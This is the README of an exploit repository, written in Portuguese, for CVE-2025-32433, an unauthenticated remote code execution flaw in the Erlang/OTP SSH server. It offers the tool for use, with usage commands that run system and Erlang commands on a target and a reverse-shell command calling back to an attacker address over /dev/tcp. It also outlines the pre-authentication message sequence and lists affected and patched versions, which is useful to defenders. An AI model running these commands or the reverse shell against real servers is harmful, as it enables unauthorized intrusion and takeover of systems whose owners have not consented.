Exploração CVE-2025-32433 (Compatível com Windows)

Execução Remota de Código não Autenticada no SSH do Erlang/OTP

Descrição

Este repositório contém uma exploração para CVE-2025-32433, uma vulnerabilidade crítica de execução remota de código não autenticada no servidor SSH do Erlang/OTP.

Características principais:

✅ Exploração RCE pré-autenticação
✅ Corrigido para compatibilidade com codificação GBK do Windows
✅ Funciona em versões do Erlang/OTP ≤ 27.3.2, ≤ 26.2.5.10, ≤ 25.3.2.19

Detalhes da Vulnerabilidade

ID CVE: CVE-2025-32433
Gravidade: Crítica
Impacto: Execução Remota de Código não Autenticada

A vulnerabilidade permite que atacantes executem comandos arbitrários do sistema em servidores SSH do Erlang/OTP sem autenticação, enviando mensagens de protocolo SSH especialmente criadas.

Versões Afetadas

OTP ≤ 27.3.2
OTP ≤ 26.2.5.10
OTP ≤ 25.3.2.19
OTP ≥ 17.0 e mais antigas (provável)

Uso

# Execução básica de comando
python exploit.py -t <ip-alvo> -p 2222 -c "whoami"

# Executar comando do sistema
python exploit.py -t 192.168.1.100 -p 2222 -c "touch /tmp/pwned"

# Execução de código Erlang bruto
python exploit.py -t 192.168.1.100 -p 2222 -e 'os:cmd("id").'

# Shell reverso
python exploit.py -t 192.168.1.100 -p 2222 -c "bash -i >& /dev/tcp/SEU_IP/4444 0>&1"

Argumentos

-t, --target    Endereço IP do alvo (padrão: 127.0.0.1)
-p, --port      Porta do alvo (padrão: 2222)
-c, --command   Comando do sistema a executar
-e, --erlang    Código Erlang bruto a executar

Correção de Codificação para Windows

Esta versão corrige o problema de codificação presente na exploração original:

Problema: A exploração original usava o caractere de marca de verificação Unicode (✓, U+2713) que causa erros de codificação GBK no Windows:

'gbk' codec can't encode character '✓' in position 1: illegal multibyte sequence

Solução: Substituiu o caractere Unicode pelo caractere ASCII padrão + para compatibilidade entre plataformas.

Detalhes Técnicos

A exploração funciona:

Estabelecendo conexão SSH e troca de banner
Enviando pacote SSH_MSG_KEXINIT
Abrindo canal SSH com SSH_MSG_CHANNEL_OPEN
Enviando SSH_MSG_CHANNEL_REQUEST com comando exec malicioso antes da autenticação
Executando código Erlang arbitrário via os:cmd()

Referências

Versões Corrigidas

OTP 27.3.3
OTP 26.2.5.11
OTP 25.3.2.20

Aviso Legal

Esta exploração é fornecida apenas para fins educacionais e de teste de segurança autorizados. O acesso não autorizado a sistemas de computador é ilegal. Use com responsabilidade e apenas em sistemas para os quais você tenha permissão explícita para testar.

Licença

Licença MIT

Autor

Modificado para compatibilidade com Windows por chuzouX

CVE-2025-32433-Exploit-edited

Mais Populares